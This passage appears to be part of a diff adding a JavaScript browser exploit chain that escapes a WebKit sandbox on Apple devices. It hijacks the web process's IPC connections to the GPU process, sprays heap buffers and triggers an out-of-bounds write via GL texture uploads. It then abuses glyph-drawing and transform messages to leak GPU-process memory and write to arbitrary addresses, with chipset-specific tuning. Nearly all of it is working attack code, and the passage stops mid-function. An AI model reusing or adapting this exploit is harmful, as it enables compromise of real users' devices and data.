bufferSize) { + super(0n); + this.identifier = identifier; + this.buffer = new SharedBuffer(bufferSize); + const portBuffer = new BigUint64Array(1); + let kr = fcall(offsets.mach_port_allocate, __mach_task_self, 1n, portBuffer.data()); + ASSERT(kr == KERN_SUCCESS, "mach_port_allocate failed"); + const receivePort = portBuffer[0]; + kr = fcall(offsets.mach_port_insert_right, __mach_task_self, receivePort, receivePort, 0x14n); + ASSERT(kr == KERN_SUCCESS, "mach_port_insert_right failed"); + this.receivePort = receivePort; + this.setClientOffset(0x80000000n); + this.destinationID = 0n; + } + setClientOffset(offset) { + write64(this.buffer.address + streamBufferClientOffset, offset); + } + clientOffset() { + return read32(this.buffer.address + streamBufferClientOffset); + } + serverOffset() { + return read32(this.buffer.address + streamBufferServerOffset); + } + setSemaphores(wakeUpSemaphore, clientWaitSemaphore) { + this.wakeUpSemaphore = wakeUpSemaphore; + this.clientWaitSemaphore = clientWaitSemaphore; + } + waitForServer(timeout) { + const begin = performance.now(); + const address = this.buffer.address + streamBufferClientOffset; + read64_biguint64arr[1] = address; + while (read64_str.charCodeAt(1) != 0x8000) { + if (performance.now() - begin > timeout) { + return false; + } + } + return true; + } + sendOutOfStreamMessage(encoder) { + this.sendMessage(encoder); + this.processOutOfStreamMessage(); + return; + } + sendOutOfStreamMessageAndWait(encoder, timeout = Infinity) { + this.sendMessage(encoder); + this.processOutOfStreamMessage(); + return this.waitForServer(timeout); + } + processOutOfStreamMessage() { + this.waitForServer(Infinity); + ASSERT(this.clientOffset() == 0x80000000n, "clientOffset is not 0x80000000"); + let offset = this.serverOffset(); + if (offset % 2n) { + offset += 1n; + } + write64(this.buffer.address + streamBufferDataOffset + offset, BigInt(MessageName.ProcessOutOfStreamMessage)); + offset += 0x10n; + this.setClientOffset(offset); + fcall(offsets.semaphore_signal, this.wakeUpSemaphore); + } + processOutOfStreamMessageAndWait(timeout=Infinity) { + this.processOutOfStreamMessage(); + this.waitForServer(timeout); + } + } + ; + function read_hashmap(map_ptr, key_size = 8n, element_size = 8n) { + const map_length = read64(map_ptr - 8n) >> 32n; + const entry_size = key_size + element_size; + const buffer_size = entry_size * map_length; + const res = new Map(); + for (let offset = 0n; offset < buffer_size; offset += entry_size) { + const key = read64(map_ptr + offset); + if (key && key != 0xffffffffffffffffn) { + const value = read64(map_ptr + offset + key_size); + res.set(key, value); + } + } + return res; + } + let identifier = 0xffffffffn; + function nextIdentifier() { + return identifier++; + } + const crash_timeout = 100; + print("[sbx0] stage1: init WebProcess discovery"); + const runLoopHolder_tid = read64(offsets.runLoopHolder_tid); + LOG(`runLoopHolder_tid: ${runLoopHolder_tid.hex()}`); + const webProcess = read64(offsets.WebProcess_singleton); + LOG(`webProcess: ${webProcess.hex()}`); + const pageMap = read64(webProcess + 0x78n); + const pageMapData = read_hashmap(pageMap); + const webPages = [...pageMapData.values()]; + for (const webPage of webPages) { + LOG(`webPage: ${webPage.hex()}`); + let m_drawingArea = read64(webPage + offsets.m_drawingArea); + LOG(`\tm_drawingArea: ${m_drawingArea.hex()}`); + let m_isRenderingSuspended = read64(m_drawingArea + offsets.m_isRenderingSuspended); + LOG(`\tm_isRenderingSuspended: ${m_isRenderingSuspended.hex()}`); + write64(m_drawingArea + offsets.m_isRenderingSuspended, m_isRenderingSuspended & 0xffffffffffffff00n | 0x01n); + } + const renderingBackendConnections = []; + for (const webPage of webPages) { + const remoteRenderingBackendProxy = read64(webPage + offsets.RemoteRenderingBackendProxy_off); + LOG(`-> remoteRenderingBackendProxy: ${remoteRenderingBackendProxy.hex()}`); + const streamConnection = read64(remoteRenderingBackendProxy + 0x40n); + LOG(`-> streamConnection: ${streamConnection.hex()}`); + const connection = read64(streamConnection + 8n); + LOG(`-> connection: ${connection.hex()}`); + renderingBackendConnections.push(new Connection(connection, true, "renderingBackendConnection")); + } + let gpuProcessConnection = read64(webProcess + offsets.m_gpuProcessConnection); + let gpuConnection = new Connection(read64(gpuProcessConnection + 0x20n), true, 'first gpuConnection'); + const firstGpuConnection = gpuConnection; + write64(webProcess + offsets.m_gpuProcessConnection, 0n); + let uiProcessConnection = read64(webProcess + offsets.UI_m_connection); + LOG(`uiProcessConnection: ${uiProcessConnection.hex()}`); + let uiConnection = new Connection(uiProcessConnection, false); + let gpuProcessConnectionIdentifier = read64(gpuProcessConnection + offsets.m_gpuProcessConnection_m_identifier); + let retry_count = 0; + (function SBX0() { + print("[sbx0] stage2: SBX0() enter, retry=" + retry_count); + LOG(`[+] SBX0() (retry: ${retry_count++})`); + function GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection) { + gpuConnection.sendMessage(new Encoder(MessageName.GPUConnectionToWebProcess_CreateRenderingBackend, 0n).encode('uint64_t', backendConnection.identifier).encode('uint64_t', backendConnection.buffer.size), [backendConnection.receivePort, backendConnection.buffer.port]); + const decoders = backendConnection.receiveMessages([MessageName.RemoteRenderingBackendProxy_DidInitialize, MessageName.InitializeConnection]); + backendConnection.setSemaphores(decoders[0].attachments[0], decoders[0].attachments[1]); + backendConnection.setSendPort(decoders[1].attachments[0]); + LOG("RemoteRenderingBackend created"); + } + function GPUConnectionToWebProcess_CreateGraphicsContextGL() { + gpuConnection.sendMessage(new Encoder(MessageName.GPUConnectionToWebProcess_CreateGraphicsContextGL, 0n).encode('uint64_t', glConnection.identifier).encode('bool', false).encode('bool', false).encode('bool', false).encode('bool', false).encode('bool', false).encode('bool', false).encode('uint8_t', 0).encode('bool', true).encode('bool', true).encode('uint8_t', 0).encode('uint64_t', backendConnection.identifier).encode('uint64_t', glConnection.buffer.size), [glConnection.receivePort, glConnection.buffer.port]); + const decoders = glConnection.receiveMessages([MessageName.RemoteGraphicsContextGLProxy_WasCreated, MessageName.InitializeConnection]); + glConnection.setSemaphores(decoders[0].attachments[0], decoders[0].attachments[1]); + glConnection.setSendPort(decoders[1].attachments[0]); + LOG("RemoteGraphicsContextGL created"); + } + function WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive() { + uiConnection.sendMessage(new Encoder(MessageName.WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive, 0n).encode('uint64_t', gpuProcessConnectionIdentifier)); + } + function RemoteRenderingBackend_CacheFont() { + let requested_cache_id = nextIdentifier(); + backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteRenderingBackend_CacheFont, backendConnection.identifier).encode('uint8_t', 1).encode('uint64_t', requested_cache_id).encode('uint8_t', 1).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('float', 10).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint32_t', 0x80010000).encode8BitString('file:///System/Library/Fonts/Core/Helvetica.ttc#postscript-name=Helvetica').encode8BitString('Helvetica').encode('uint8_t', 0)); + return requested_cache_id; + } + function RemoteRenderingBackend_CreateImageBuffer(backendConnection, width, height) { + const imageBufferIdentifier = nextIdentifier(); + backendConnection.sendMessage(new Encoder(MessageName.RemoteRenderingBackend_CreateImageBuffer, backendConnection.identifier).encode('float', width).encode('float', height).encode('uint8_t', 1).encode('uint8_t', 1).encode('float', 1).encode('uint8_t', 0).encode('uint8_t', 7).encode('uint8_t', 1).encode('uint64_t', imageBufferIdentifier)); + backendConnection.processOutOfStreamMessage(); + const decoder = backendConnection.receiveMessage(MessageName.RemoteImageBufferProxy_DidCreateBackend); + const port = decoder.attachments[0]; + ASSERT(port != MACH_PORT_NULL, "RemoteRenderingBackend_CreateImageBuffer(): port is NULL"); + return imageBufferIdentifier; + } + function RemoteRenderingBackend_ReleaseImageBuffer(backendConnection, imageBufferIdentifier) { + backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteRenderingBackend_ReleaseImageBuffer, backendConnection.identifier).encode('uint64_t', imageBufferIdentifier)); + } + function RemoteRenderingBackend_ReleaseImageBuffer_NoWait(backendConnection, imageBufferIdentifier) { + backendConnection.sendOutOfStreamMessage(new Encoder(MessageName.RemoteRenderingBackend_ReleaseImageBuffer, backendConnection.identifier).encode('uint64_t', imageBufferIdentifier)); + } + function RemoteImageBuffer_PutPixelBuffer(imageID, width, height) { + const data = new Uint8Array(width * height * 4).fill(0x01); + backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteImageBuffer_PutPixelBuffer, imageID).encode('uint8_t', 0x00).encode('uint8_t', 0x01).encode('uint8_t', 0x0).encode('uint8_t', 0).encode('uint8_t', 0x11).encode('uint32_t', width).encode('uint32_t', height).encode('uint64_t', BigInt(data.byteLength)).encode('bytes', data).encode('uint32_t', 0x0).encode('uint32_t', 0x0).encode('uint32_t', width).encode('uint32_t', height).encode('uint32_t', 0x0).encode('uint32_t', 0x0).encode('uint8_t', 0x0)); + } + function RemoteDisplayListRecorder_DrawGlyphs(imageBufferID, cache_id, glyphs_u8, advances_u8, length, timeout = Infinity, x = 0, y = 0) { + const encoder = new Encoder(MessageName.RemoteDisplayListRecorder_DrawGlyphs, imageBufferID); + encoder.encode('uint64_t', cache_id); + encoder.encode('uint64_t', BigInt(length)); + encoder.encode('bytes', glyphs_u8); + encoder.encode('uint64_t', BigInt(length)); + encoder.encode('bytes', advances_u8); + encoder.encode('float', x); + encoder.encode('float', y); + encoder.encode('uint8_t', 0); + if (!backendConnection.sendOutOfStreamMessageAndWait(encoder, timeout = timeout)) { + LOG(`Crash detected during DrawGlyphs call`); + return false; + } + return true; + } + function RemoteDisplayListRecorder_FillRect(imageBufferID, rect0 = 0, rect1 = 0, rect2 = 0, rect3 = 0, requiresClipToRect = true, timeout = Infinity) { + if (!backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteDisplayListRecorder_FillRect, imageBufferID).encode('uint32_t', rect0).encode('uint32_t', rect1).encode('uint32_t', rect2).encode('uint32_t', rect3).encode('bool', requiresClipToRect), timeout)) { + LOG(`Crash detected during FillRect call`); + return false; + } + return true; + } + function RemoteDisplayListRecorder_StrokeRect(imageBufferID, rect0, rect1, rect2, rect3, lineWidth, timeout = Infinity) { + if (!backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteDisplayListRecorder_StrokeRect, imageBufferID).encode('uint32_t', rect0).encode('uint32_t', rect1).encode('uint32_t', rect2).encode('uint32_t', rect3).encode('uint32_t', lineWidth), timeout)) { + LOG(`Crash detected during StrokeRect call`); + return false; + } + return true; + } + function RemoteDisplayListRecorder_SetCTM(imageBufferID, ctm0, ctm1, ctm2, ctm3, ctm4, ctm5) { + backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteDisplayListRecorder_SetCTM, imageBufferID).encode('uint64_t', ctm0).encode('uint64_t', ctm1).encode('uint64_t', ctm2).encode('uint64_t', ctm3).encode('uint64_t', ctm4).encode('uint64_t', ctm5)); + } + function RemoteGraphicsContextGL_Reshape(width = 1, height = 1) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_Reshape, glConnection.identifier).encode('int32_t', width).encode('int32_t', height)); + } + function RemoteGraphicsContextGL_CreateBuffer(bufferID) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateBuffer, glConnection.identifier).encode('uint32_t', bufferID)); + } + function RemoteGraphicsContextGL_BindBuffer(target, bufferID) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BindBuffer, glConnection.identifier).encode('uint32_t', target).encode('uint32_t', bufferID)); + } + function RemoteGraphicsContextGL_BufferData0(target, size, usage) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BufferData0, glConnection.identifier).encode('uint32_t', target).encode('uint64_t', BigInt(size)).encode('uint32_t', usage)); + } + function RemoteGraphicsContextGL_BufferData1(target, data, usage) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BufferData1, glConnection.identifier).encode('uint32_t', target).encode('uint64_t', BigInt(data.byteLength)).encode('bytes', data).encode('uint32_t', usage)); + } + function RemoteGraphicsContextGL_PixelStorei(pname, param) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_PixelStorei, glConnection.identifier).encode('uint32_t', pname).encode('int32_t', param)); + } + function RemoteGraphicsContextGL_CreateTexture(textureID) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateTexture, glConnection.identifier).encode('uint32_t', textureID)); + } + function RemoteGraphicsContextGL_BindTexture(target, textureID) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BindTexture, glConnection.identifier).encode('uint32_t', target).encode('uint32_t', textureID)); + } + function RemoteGraphicsContextGL_TexImage2D1(target, level, internalformat, width, height, border, format, type, offset, timeout = Infinity) { + if (!glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_TexImage2D1, glConnection.identifier).encode('uint32_t', target).encode('int32_t', level).encode('uint32_t', internalformat).encode('int32_t', width).encode('int32_t', height).encode('int32_t', border).encode('uint32_t', format).encode('uint32_t', type).encode('uint64_t', offset), timeout)) { + LOG(`Crash detected during TexImage2D1 call`); + return false; + } + return true; + } + function RemoteGraphicsContextGL_Flush() { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_Flush, glConnection.identifier)); + } + function RemoteGraphicsContextGL_Finish() { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_Finish, glConnection.identifier)); + } + function RemoteGraphicsContextGL_GetShaderSource() { + const syncRequestID = nextIdentifier(); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_GetShaderSource, glConnection.identifier).encode('uint64_t', syncRequestID).encode('uint32_t', fragmentShader)); + return glConnection.receiveSyncReply(syncRequestID).decode8BitString(); + } + let imageBufferIdentifiers = []; + let dirtyWriteIndex = 0; + let cache_id = 0; + let dirty_read_count = 0; + let glObjectIndex = 1; + let fragmentShader = 0; + function initGLProgram() { + const vertexShader = glObjectIndex++; + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateShader, glConnection.identifier).encode('uint32_t', vertexShader).encode('uint32_t', GL_VERTEX_SHADER)); + LOG(`Vertex shader created. ID:${vertexShader}`); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_ShaderSource, glConnection.identifier).encode('uint32_t', vertexShader).encode8BitString(`#version 300 es + precision highp float; + void main() { + gl_Position = vec4(1,1,1,0); + }`)); + LOG("Vertex shader sourced"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CompileShader, glConnection.identifier).encode('uint32_t', vertexShader)); + LOG("Vertex shader compiled"); + fragmentShader = glObjectIndex++; + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateShader, glConnection.identifier).encode('uint32_t', fragmentShader).encode('uint32_t', GL_FRAGMENT_SHADER)); + LOG(`Fragment shader created. ID:${fragmentShader}`); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_ShaderSource, glConnection.identifier).encode('uint32_t', fragmentShader).encode8BitString(`#version 300 es + precision highp float; + out vec4 fragColor; + void main() { + fragColor = vec4(1,1,1,0); + }`)); + LOG("Fragment shader sourced"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CompileShader, glConnection.identifier).encode('uint32_t', fragmentShader)); + LOG("Fragment shader compiled"); + const program = glObjectIndex++; + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateProgram, glConnection.identifier).encode('uint32_t', program)); + LOG(`Program has been created. ID:${program}`); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_AttachShader, glConnection.identifier).encode('uint32_t', program).encode('uint32_t', vertexShader)); + LOG("Vertex shader has been attached"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_AttachShader, glConnection.identifier).encode('uint32_t', program).encode('uint32_t', fragmentShader)); + LOG("Fragment shader has been attached"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_LinkProgram, glConnection.identifier).encode('uint32_t', program)); + LOG("Program has been linked"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_UseProgram, glConnection.identifier).encode('uint32_t', program)); + LOG("Program enabled"); + RemoteGraphicsContextGL_Flush(); + } + function prepareLayout() { + sprayBuffers(50, 0x4000); + sprayBuffers(10, 0x20000); + sprayBuffers(10, 0x4000 * 20); + for (let i = 0; i < 30; i++) { + RemoteRenderingBackend_CreateImageBuffer(backendConnection, 0x20, 0x80); + } + } + function sprayBuffers(n, size) { + for (let i = 0; i < n; i++) { + const bufferID = glObjectIndex++; + RemoteGraphicsContextGL_CreateBuffer(bufferID); + RemoteGraphicsContextGL_BindBuffer(GL_ARRAY_BUFFER, bufferID); + RemoteGraphicsContextGL_BufferData0(GL_ARRAY_BUFFER, size, GL_STATIC_DRAW); + } + } + function texImage2D1(internalformat, format, type, width, height, timeout = Infinity) { + let texture_01 = glObjectIndex++; + RemoteGraphicsContextGL_CreateTexture(texture_01); + RemoteGraphicsContextGL_BindTexture(GL_TEXTURE_2D, texture_01); + return RemoteGraphicsContextGL_TexImage2D1(GL_TEXTURE_2D, 0, internalformat, width, height, 0, format, type, 0n, timeout = timeout); + } + function oob() { + LOG(`oob()`); + const width = 1; + const height = 0x200; + const smaller_height = 0x200 / 4; + RemoteGraphicsContextGL_PixelStorei(GL_UNPACK_IMAGE_HEIGHT, smaller_height); + const data32 = new Uint32Array(0x400); + if (chipset === "f35b705e8c57ae59e369ebc9145a9dbc" || chipset === "43ba9900ff2fc7d9d32072540b2cab12" || chipset === "c90776dbac058ed6957f476e287867f8" || chipset === "22f32fd975a694d340a6ad22b872b1ae") { + data32.fill(0xaac7ab, 0x80); + } else { + data32.fill(0x8015c8, 0x80); + } + const data = new Uint8Array(data32.buffer); + const pixelUnpackBuffer = glObjectIndex++; + RemoteGraphicsContextGL_CreateBuffer(pixelUnpackBuffer); + RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, pixelUnpackBuffer); + RemoteGraphicsContextGL_BufferData1(GL_PIXEL_UNPACK_BUFFER, data, GL_STATIC_DRAW); + if (chipset === "43ba9900ff2fc7d9d32072540b2cab12" || chipset === "c90776dbac058ed6957f476e287867f8" || chipset === "22f32fd975a694d340a6ad22b872b1ae") { + sprayBuffers(7, 0x100); + sprayBuffers(0x1b - 1, 0x1000); + } else { + sprayBuffers(3, 0x100); + sprayBuffers(0x1d - 1, 0x1000); + } + RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); + for (let i = 0; i < 12; i++) { + texImage2D1(GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT, width, height); + } + RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, pixelUnpackBuffer); + prepare_layout_start = Date.now(); + prepareLayout(); + prepare_layout_end = Date.now(); + LOG(`[profiler] prepare_layout took ${prepare_layout_end - prepare_layout_start}ms`); + if (chipset === "f35b705e8c57ae59e369ebc9145a9dbc" || chipset === "43ba9900ff2fc7d9d32072540b2cab12" || chipset === "c90776dbac058ed6957f476e287867f8" || chipset === "22f32fd975a694d340a6ad22b872b1ae") { + sprayBuffers(1, 0x100); + sprayBuffers(1, 0x200); + } else { + sprayBuffers(1, 0x100); + } + for (let i = 0; i < 2; i++) { + RemoteRenderingBackend_CreateImageBuffer(backendConnection, 0x1000, 0x400 * 8); + } + for (let i = 0; i < 10; i++) { + let imageBufferIdentifier = RemoteRenderingBackend_CreateImageBuffer(backendConnection, 0x20, 0x80); + imageBufferIdentifiers.push(imageBufferIdentifier); + } + for (let i = 0; i < 3; i++) { + RemoteRenderingBackend_CreateImageBuffer(backendConnection, 0x1000, 0x400 * 8); + } + RemoteGraphicsContextGL_TexImage2D1(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT32F, width, height, 0, GL_DEPTH_COMPONENT, GL_FLOAT, 0n); + RemoteImageBuffer_PutPixelBuffer(imageBufferIdentifiers[0], 0x20, 0x80); + RemoteGraphicsContextGL_Flush(); + RemoteGraphicsContextGL_Finish(); + RemoteGraphicsContextGL_PixelStorei(GL_UNPACK_IMAGE_HEIGHT, 0); + RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); + texImage2D1(GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT, width, height); + if (!texImage2D1(GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT, 0x20, 0x20, timeout = crash_timeout)) { + return false; + } + RemoteGraphicsContextGL_Flush(); + RemoteGraphicsContextGL_Finish(); + LOG(`FINISHED oob()`); + print("[sbx0] stage3: oob() finished"); + return true; + } + function preparePrimitives() { + LOG("preparePrimitives"); + cache_id = RemoteRenderingBackend_CacheFont(); + LOG(`Cache font ID: ${cache_id.hex()}`); + for (let i = 0; i < 9; i++) { + if (!RemoteDisplayListRecorder_StrokeRect(imageBufferIdentifiers[dirtyWriteIndex], 0, 0, 0, 0x100 + i, 0x100 + i, timeout = crash_timeout)) return false; + } + const draw_glyphs_length = 0x6a8; + const glyphs = new BigUint64Array(draw_glyphs_length / 0x8 * 0x2); + glyphs[glyphs.length - 4] = 0n; + glyphs[glyphs.length - 3] = 0n; + glyphs[glyphs.length - 2] = 0x10000n; + glyphs[glyphs.length - 1] = 0x20000n; + const glyphs_u8 = new Uint8Array(glyphs.buffer, 0, draw_glyphs_length * 2); + if (!RemoteDisplayListRecorder_DrawGlyphs(imageBufferIdentifiers[dirtyWriteIndex], cache_id, glyphs_u8, new Uint8Array(draw_glyphs_length * 0x10), draw_glyphs_length, timeout = crash_timeout)) return false; + for (let i = 0; i < 2; i++) { + if (!RemoteDisplayListRecorder_StrokeRect(imageBufferIdentifiers[dirtyWriteIndex + 1], 0, 0, 0, 0x100 + i, 0x100 + i, timeout = crash_timeout)) return false; + } + const draw_glyphs_second_length = 0x6f0; + const glyphs_second = new BigUint64Array(draw_glyphs_second_length / 0x8 * 0x2); + let read_corruption_index = 0x1a6; + for (let i = 0; i < 10; i++) { + glyphs_second[read_corruption_index + 0] = 0n; + glyphs_second[read_corruption_index + 1] = 0n; + glyphs_second[read_corruption_index + 2] = 0x10000n; + glyphs_second[read_corruption_index + 3] = 0x20000n; + glyphs_second[read_corruption_index + 4] = offsets.emptyString - 0x18n; + glyphs_second[read_corruption_index + 5] = 0n; + read_corruption_index -= 0x10; + } + glyphs_second[glyphs_second.length - 6] = 0n; + glyphs_second[glyphs_second.length - 5] = 0n; + glyphs_second[glyphs_second.length - 4] = 0x10000n; + glyphs_second[glyphs_second.length - 3] = 0x20000n; + glyphs_second[glyphs_second.length - 2] = offsets.emptyString - 0x18n; + glyphs_second[glyphs_second.length - 1] = 0x0n; + const glyphs_second_u8 = new Uint8Array(glyphs_second.buffer, 0, draw_glyphs_second_length * 2); + if (!RemoteDisplayListRecorder_DrawGlyphs(imageBufferIdentifiers[dirtyWriteIndex + 1], cache_id, glyphs_second_u8, new Uint8Array(draw_glyphs_second_length * 0x10), draw_glyphs_second_length, timeout = crash_timeout)) return false; + let data = iterativeRead(offsets.RemoteGraphicsContextGLWorkQueue + 0x30n, 8n); + if (!data) return false; + let data_u64 = new BigUint64Array(data); + let glThread = data_u64[0]; + LOG(`glThread: ${glThread.hex()}`); + data = iterativeRead(glThread + 0x10n, 0x10n); + if (!data) return false; + data_u64 = new BigUint64Array(data); + let pthread_ptr = data_u64[0]; + LOG(`pthread_ptr: ${pthread_ptr.hex()}`); + let pthread_data = iterativeRead(pthread_ptr, 0xa00n); + if (!pthread_data) return false; + let pthread_data_u64 = new BigUint64Array(pthread_data); + data = iterativeRead(offsets.GetCurrentThreadTLSIndex_CurrentThreadIndex, 8n); + if (!data) return false; + data_u64 = new BigUint64Array(data); + const currentThreadIndex = data_u64[0]; + LOG(`currentThreadIndex: ${currentThreadIndex.hex()}`); + const pthread_tls = pthread_data_u64[currentThreadIndex + 0x1en]; + LOG(`pthread_tls: ${pthread_tls.hex()}`); + data = iterativeRead(pthread_tls + 0x638n, 8n); + if (!data) return false; + data_u64 = new BigUint64Array(data); + const glBuffer = data_u64[0]; + ASSERT(glBuffer, `glBuffer is NULL`); + LOG(`glBuffer: ${glBuffer.hex()}`); + const glBuffer_data = iterativeRead(glBuffer + offsets.rxBufferMtl_off, 0x10n); + if (!glBuffer_data) return false; + const glBuffer_data_u64 = new BigUint64Array(glBuffer_data); + const rxBufferMtl = glBuffer_data_u64[0]; + LOG(`rxBufferMtl: ${rxBufferMtl.hex()}`); + const rxBufferMtl_data = iterativeRead(rxBufferMtl + offsets.rxMtlBuffer_off, 8n); + if (!rxBufferMtl_data) return false; + const rxBufferMtl_data_u64 = new BigUint64Array(rxBufferMtl_data); + const rxMtlBuffer = rxBufferMtl_data_u64[0]; + LOG(`rxMtlBuffer: ${rxMtlBuffer.hex()}`); + const rxMtlBuffer_data = iterativeRead(rxMtlBuffer, 0x20n); + if (!rxMtlBuffer_data) return false; + const rxMtlBuffer_data_u64 = new BigUint64Array(rxMtlBuffer_data); + const AGXA13FamilyBuffer = rxMtlBuffer_data_u64[3]; + LOG(`AGXA13FamilyBuffer: ${AGXA13FamilyBuffer.hex()}`); + const write_addr = pthread_tls + offsets.privateState_off + offsets.vertexAttribVector_off; + const write_value = AGXA13FamilyBuffer + 0xa0n; + for (let i = 0; i < 7; i++) { + if (!RemoteDisplayListRecorder_StrokeRect(imageBufferIdentifiers[dirtyWriteIndex + 1], 0, 0, 0, 0x100 + i, 0x100 + i, timeout = crash_timeout)) return false; + } + const draw_glyphs_third_length = 0x688; + const glyphs_third = new BigUint64Array(draw_glyphs_third_length / 0x8 * 0x2); + glyphs_third[glyphs_third.length - 6] = 0n; + glyphs_third[glyphs_third.length - 5] = 0n; + glyphs_third[glyphs_third.length - 4] = 0x10000n; + glyphs_third[glyphs_third.length - 3] = 0x20000n; + glyphs_third[glyphs_third.length - 2] = write_addr - 0x30n; + glyphs_third[glyphs_third.length - 1] = 0x0n; + const glyphs_third_u8 = new Uint8Array(glyphs_third.buffer, 0, draw_glyphs_third_length * 2); + if (!RemoteDisplayListRecorder_DrawGlyphs(imageBufferIdentifiers[dirtyWriteIndex + 1], cache_id, glyphs_third_u8, new Uint8Array(draw_glyphs_third_length * 0x10), draw_glyphs_third_length, timeout = crash_timeout)) return false; + RemoteDisplayListRecorder_SetCTM(imageBufferIdentifiers[dirtyWriteIndex + 3], 0n, 0n, 0n, write_value, write_value + 0x140n, write_value + 0x140n); + if (!RemoteDisplayListRecorder_FillRect(imageBufferIdentifiers[dirtyWriteIndex + 3], 0, 0, 0, 0, true, timeout = crash_timeout)) return false; + return true; + } + function iterativeRead(address, size) { + if (dirty_read_count++ != 0) { + if (!RemoteDisplayListRecorder_DrawGlyphs(imageBufferIdentifiers[dirtyWriteIndex + 1], cache_id, new Uint8Array(0x10), new Uint8Array(0x80), 8, timeout = crash_timeout)) return false; + } + RemoteDisplayListRecorder_SetCTM(imageBufferIdentifiers[dirtyWriteIndex + 2], size << 32n | 3n, address, 0x0000000049ac480cn, 0n, 0n, 0n); + if (!RemoteDisplayListRecorder_FillRect(imageBufferIdentifiers[dirtyWriteIndex + 2], 0, 0, 0, 0, true, timeout = crash_timeout)) return false; + const leak = RemoteGraphicsContextGL_GetShaderSource(); + if (leak.byteLength != size) { + crashGPUProcess(`leak size mismatch (expected: ${size}, actual: ${leak.byteLength})`); + return false; + } + return leak; + } + function copy_to_gpu(addr, buffer) { + ASSERT(addr > 0x100000000n, `copy_to_gpu(): tried to write to ${addr.hex()}`); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_VertexAttrib4f, glConnection.identifier).encode('uint32_t', 0).encode('uint32_t', Number(addr & 0xffffffffn)).encode('uint32_t', Number(addr >> 32n)).encode('float', 0).encode('float', 0)); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BufferSubData, glConnection.identifier).encode('uint32_t', GL_ARRAY_BUFFER).encode('uint64_t', 0n).encode('uint64_t', BigInt(buffer.byteLength)).encode('bytes', buffer)); + } + const gpu_slow_write64_u64 = new BigUint64Array(1); + const gpu_slow_write64_u8 = new Uint8Array(gpu_slow_write64_u64.buffer); + function gpu_slow_write64(addr, value) { + ASSERT(addr > 0x100000000n, `gpu_slow_write64(): tried to write to ${addr.hex()}`); + gpu_slow_write64_u64[0] = value; + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_VertexAttrib4f, glConnection.identifier).encode('uint32_t', 0).encode('uint32_t', Number(addr & 0xffffffffn)).encode('uint32_t', Number(addr >> 32n)).encode('float', 0).encode('float', 0)); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BufferSubData, glConnection.identifier).encode('uint32_t', GL_ARRAY_BUFFER).encode('uint64_t', 0n).encode('uint64_t', 8n).encode('bytes', gpu_slow_write64_u8)); + } + function gpu_slow_write16(ptr, u16) { + let value = gpu_slow_read64(ptr); + value &= ~0xffffn; + value |= u16; + gpu_slow_write64(ptr, value); + } + function copy_from_gpu(addr, size, 